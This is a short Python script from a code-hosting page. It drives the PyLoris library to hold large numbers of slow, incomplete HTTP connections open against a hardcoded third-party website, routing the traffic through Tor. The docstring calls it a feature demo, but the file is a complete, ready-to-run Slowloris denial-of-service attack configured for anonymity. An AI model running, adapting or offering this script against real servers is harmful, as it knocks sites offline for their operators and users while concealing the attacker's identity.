-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathscriptloris_http.py
executable file
·39 lines (29 loc) · 1.05 KB
/
scriptloris_http.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#! /usr/bin/env python
"""
scriptloris_http.py
A quick script to demonstrate some of the basic features of scripting
functionality built in to the libloris module.
This script requires TOR to be setup and running on localhost:9050.
"""
host = 'www.motomastyle.com'
port = 80
sockshost = 'localhost'
socksport = 9050
from libloris import *
def main(host, port, sockshost, socksport):
loris = ScriptLoris()
loris.options['host'] = host
loris.options['port'] = port
loris.options['request'] = 'GET / HTTP/1.1\r\n'
loris.options['request'] += 'Host: %s\r\n' % (host)
loris.options['request'] += 'User-Agent: PyLoris (scriptloris_http.py (http://pyloris.sf.net)\r\n'
loris.options['threadlimit'] = 25
loris.options['connectionlimit'] = 256
loris.options['connectionspeed'] = 15
# Enable SOCKS5 on local port 9050
loris.options['socksversion'] = 'SOCKS5'
loris.options['sockshost'] = sockshost
loris.options['socksport'] = socksport
loris.mainloop()
if __name__ == "__main__":
main(host, port, sockshost, socksport)